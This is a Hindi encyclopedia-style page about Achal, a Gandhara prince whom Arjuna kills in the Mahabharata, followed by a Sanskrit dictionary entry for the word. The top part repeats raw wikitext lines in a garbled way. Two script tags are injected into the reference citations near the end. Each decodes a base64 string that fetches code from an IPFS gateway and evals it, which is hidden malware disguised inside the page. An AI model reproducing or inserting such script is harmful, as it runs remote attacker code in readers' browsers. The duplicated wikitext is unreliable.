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*[[धृतराष्ट्र]] की पत्नी [[गांधारी]]  के भाई अचल तथा वृषक बहुत अच्छे योद्धा थे।  
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'''अचल''' [[गांधार]] के [[सुबल|राजा सुबल]] के पुत्रों में से एक था। [[पाण्डव]] [[अर्जुन]] द्वारा युद्ध में इसका वध हुआ था।
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*[[धृतराष्ट्र]] की पत्नी [[गांधारी]]  के भाई अचल तथा वृषक बहुत अच्छे योद्धा थे। उनका [[अर्जुन]] से युद्ध हुआ था।
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*अचल तथा वृषक दोनों ही [[अर्जुन]] के सामने टिक नहीं पाये। दोनों को अर्जुन ने एक [[बाण अस्त्र|बाण]] से बींध डाला, क्योंकि रथ का घोड़ा मारे जाने के कारण वृषक, अचल के रथ पर उससे सटकर खड़ा था।
 
*वृषक और अचल के वध से क्रुद्ध होकर [[शकुनि]] ने अनेक प्रकार से माया का प्रयोग किया।  
 
*वृषक और अचल के वध से क्रुद्ध होकर [[शकुनि]] ने अनेक प्रकार से माया का प्रयोग किया।  
*अर्जुन के रथ के चारों और अंधकार घिर गया। सब ओर से तरह-तरह के अस्त्रों ने अर्जुन को बेधना आरम्भ कर दिया तथा अनेक प्रकार के पशुओं ने अर्जुन पर चारों ओर से धावा बोल दिया।  
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*शकुनि की माया से अर्जुन के रथ के चारों और अंधकार घिर गया। सब ओर से तरह-तरह के अस्त्रों ने अर्जुन को बेधना आरम्भ कर दिया तथा अनेक प्रकार के पशुओं ने अर्जुन पर चारों ओर से धावा बोल दिया।
*अर्जुन ने ज्योतिर्मय अस्त्र से अंधकार का नाश कर डाला तथा आदित्यास्त्र से [[वर्षा]] का निवारण किया।  
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*अर्जुन ने ज्योतिर्मय अस्त्र से अंधकार का नाश कर डाला तथा आदित्यास्त्र से [[वर्षा]] का निवारण किया।
 
*भयभीत होकर शकुनि युद्ध क्षेत्र से भाग गया। अर्जुन के बाण रथ, घोड़ों इत्यादि का नाश कर धरती में समाते गये।
 
*भयभीत होकर शकुनि युद्ध क्षेत्र से भाग गया। अर्जुन के बाण रथ, घोड़ों इत्यादि का नाश कर धरती में समाते गये।
  
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11:32, 6 अगस्त 2023 के समय का अवतरण

अचल गांधार के राजा सुबल के पुत्रों में से एक था। पाण्डव अर्जुन द्वारा युद्ध में इसका वध हुआ था।

  • धृतराष्ट्र की पत्नी गांधारी के भाई अचल तथा वृषक बहुत अच्छे योद्धा थे। उनका अर्जुन से युद्ध हुआ था।
  • अचल तथा वृषक दोनों ही अर्जुन के सामने टिक नहीं पाये। दोनों को अर्जुन ने एक बाण से बींध डाला, क्योंकि रथ का घोड़ा मारे जाने के कारण वृषक, अचल के रथ पर उससे सटकर खड़ा था।
  • वृषक और अचल के वध से क्रुद्ध होकर शकुनि ने अनेक प्रकार से माया का प्रयोग किया।
  • शकुनि की माया से अर्जुन के रथ के चारों और अंधकार घिर गया। सब ओर से तरह-तरह के अस्त्रों ने अर्जुन को बेधना आरम्भ कर दिया तथा अनेक प्रकार के पशुओं ने अर्जुन पर चारों ओर से धावा बोल दिया।
  • अर्जुन ने ज्योतिर्मय अस्त्र से अंधकार का नाश कर डाला तथा आदित्यास्त्र से वर्षा का निवारण किया।
  • भयभीत होकर शकुनि युद्ध क्षेत्र से भाग गया। अर्जुन के बाण रथ, घोड़ों इत्यादि का नाश कर धरती में समाते गये।


अचल (विशेषण) [न. त.]

  • दृढ़, स्थिर, निश्चित, स्थायी-चित्रन्यस्तमिवाचलं चामरम्-विक्रम. 1/4, -लः
1. पहाड़
2. कांटा, कील
3. सात की संख्या,-ला (स्त्रीलिंग), पृथ्वी-लं (न.) ब्रह्म।

सम.- कन्यका, तनय, दुहिता, -सुता हिमालय पर्वत की पुत्री 'पार्वती'-कीला पृथ्वी;-,-जात (विशेषण) पहाड़ पर उत्पन्न,-जा,-जाता पार्वती;-त्विष् (पुल्लिंग) कोयल,-द्विष् (पुल्लिंग) पर्वतों का शत्रु, इन्द्र का विशेषण जिसने पहाड़ों के पंख काट दिए थे।[1]


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टीका टिप्पणी और संदर्भ

विद्यावाचस्पति, डॉ. उषा पुरी भारतीय मिथक कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: नेशनल पब्लिशिग हाउस, नयी दिल्ली, पृष्ठ सं 08।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. संस्कृत-हिन्दी शब्दकोश |लेखक: वामन शिवराम आप्टे |प्रकाशक: कमल प्रकाशन, नई दिल्ली-110002 |पृष्ठ संख्या: 14 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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